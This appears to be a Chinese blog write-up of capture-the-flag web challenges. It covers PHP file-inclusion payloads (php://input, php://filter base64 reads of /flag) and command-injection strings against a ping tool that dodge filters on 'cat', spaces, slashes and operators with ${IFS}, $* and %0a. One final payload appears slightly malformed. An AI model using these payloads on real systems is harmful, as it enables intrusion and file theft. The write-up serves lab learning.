本文已参与「新人创作礼」活动,一起开启掘金创作之路。
远程包含
\
用 php://input
post
\
读取源代码
if ( substr($_GET["file"], 0, 6) === "php://" ) {
有这样一句话 说明php://已经不能用了
但是直接告诉了 我们flag的位置
php伪协议
?file=php://filter/read=convert.base64-encode/resource=/flag
命令注入
这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag
开启题目30
127.0.0.1&cat 3030449741379.php
无回显 可能存在字符编码 无法显示出来
127.0.0.1&cat 3030449741379.php | base64
过滤cat
cat被过滤 可以将 cat通过、\ 分割
127.0.0.1&ca\t flag_2609723410041.php | base64
过滤空格
在 bash 下, 可以用以下字符代替空格:
<,<>,%20(space),%09(tab),9, IFS 等
\
127.0.0.1&cat<flag_10551752832151.php|base64
\
过滤目录分隔符
说明反斜杠被过滤了
flag需要跳转到子文件夹里
而目录分隔符斜杠被过滤了
因此我们使用cd进入子文件夹,而不是直接cat访问 cat /flag 是进入文件夹flag中查询内容 而 cat flag 是直接查询内容(flag不能是文件夹 只能是记事本类)
输入127.0.0.1;cd flag_is_here;ls
进入子文件夹并查询,使用分号间隔
127.0.0.1;cd flag_is_here;cat flag_xxx.php
然后查看页面源代码 得到flag
过滤运算符
过滤运算符的话 就是不能用& 换分号
综合过滤练习
但是没有过滤%0a,%0d,用${IFS}
取代空格,用$*
绕过关键词过滤,因为在没有定义的情况下,$*
在shell命令执行下为空
url编码中,%0a是换行符,%0d是回车符,可以用这两个进行命令拼接。
?ip=127.0.0.1%0als#
?ip=127.0.0.1%0D%0Acd*ag_is_here%0als#
这里ls
是对flag_is_here目录进行操作,所有ls 是在cd flag_is_here执行后在flag_is_here目录下执行,这里拼接的就得用%0a换行符,可以等效&&,不能用%0d,%0d等效于&。
cat过滤绕过
因为过滤了cat,我们这里使用单引号绕过过滤,如ca’'t
?ip=127.0.0.1%0D%0Acd*ag_is_here%0aca{IFS}fl$*ag_25441897523099.php#